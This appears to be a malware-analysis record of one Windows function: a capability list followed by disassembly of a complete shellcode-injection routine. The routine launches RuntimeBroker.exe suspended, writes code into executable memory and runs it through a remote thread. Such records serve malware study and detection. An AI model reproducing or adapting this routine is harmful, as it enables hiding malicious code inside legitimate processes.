Function at 0x401560
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Print debug messages
Resume thread
Spawn thread to rwx shellcode
Terminate process
Use process replacement

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x1e0
xor eax, eax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x50], 0
mov rbx, rdx
mov rsi, rcx
lea rdx, [rsp + 0x70]
mov rdi, rdx
mov ecx, 0xd
mov qword [rsp + 0x58], 0
rep stosq qword [rdi], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rdx
lea rdx, str.RuntimeBroker.exe
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4016f0
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov r8, rbx
xor edx, edx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x401798
mov rcx, qword [rsp + 0x50]
mov r9, rbx
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401730
lea rcx, str.Shellcode_written_to_memory_successfully._n
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov dword [rsp + 0x28], 0
mov r9, r12
xor r8d, r8d
mov qword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r13, rax
test rax, rax
je 0x4017e8
lea r12, [rsp + 0xe0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadId]
lea rdx, str.Remote_thread_created_successfully._Thread_ID:__lu_n
mov rcx, r12
mov r8d, eax
call fcn.00408240
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call rbx
mov rcx, qword [rsp + 0x50]
call rbx
mov rcx, qword [rsp + 0x58]
call rbx
mov eax, 1
add rsp, 0x1e0
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r12, [rsp + 0xe0]
lea rdx, str.CreateProcess_failed:__lu_n
mov r8d, eax
mov rcx, r12
call fcn.00408240
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
add rsp, 0x1e0
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r13, [rsp + 0xe0]
lea rdx, str.WriteProcessMemory_failed:__lu_n
mov rcx, r13
mov r8d, eax
call fcn.00408240
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x50]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
add rsp, 0x1e0
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r12, [rsp + 0xe0]
lea rdx, str.VirtualAllocEx_failed:__lu_n
mov r8d, eax
mov rcx, r12
call fcn.00408240
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x50]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
add rsp, 0x1e0
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r13, [rsp + 0xe0]
lea rdx, str.CreateRemoteThread_failed:__lu_n
mov rcx, r13
mov r8d, eax
call fcn.00408240
mov rcx, r13
call rbx
jmp 0x401759